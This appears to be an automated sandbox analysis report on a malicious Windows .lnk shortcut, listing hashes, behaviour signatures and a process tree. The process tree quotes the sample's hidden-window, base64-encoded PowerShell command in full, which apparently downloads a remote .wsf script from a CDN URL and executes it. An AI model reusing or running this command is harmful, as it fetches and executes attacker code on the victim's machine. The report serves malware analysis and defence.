Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
13-06-2024 06:26
Static task
static1
Behavioral task
behavioral1
Sample
a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
Resource
win7-20240611-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
Resource
win10v2004-20240508-en
5 signatures
150 seconds
General
-
Target
a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
-
Size
2KB
-
MD5
a4317e3a086cf54b28ecb4aa1ada356e
-
SHA1
7cba8664cb14c961f9c198f112846972296ff11d
-
SHA256
6fc29cd5b03a534c23de07c8312a3455b00b959ddd554567a7f71cab6ba6a1c1
-
SHA512
3e0a5c94362a350543cc54b4927db2ea0301eee2a5c0cbba6619c66a63bfe6387b3970b6ea13a6f058b0c15d7b2923552daf732806fc6a3ca97618947e5aae0b
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2688 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2688 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2372 wrote to memory of 2756 2372 cmd.exe 29 PID 2372 wrote to memory of 2756 2372 cmd.exe 29 PID 2372 wrote to memory of 2756 2372 cmd.exe 29 PID 2756 wrote to memory of 2688 2756 cmd.exe 30 PID 2756 wrote to memory of 2688 2756 cmd.exe 30 PID 2756 wrote to memory of 2688 2756 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\windows\system32\cmd.exe"C:\windows\system32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=2⤵
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688
-
-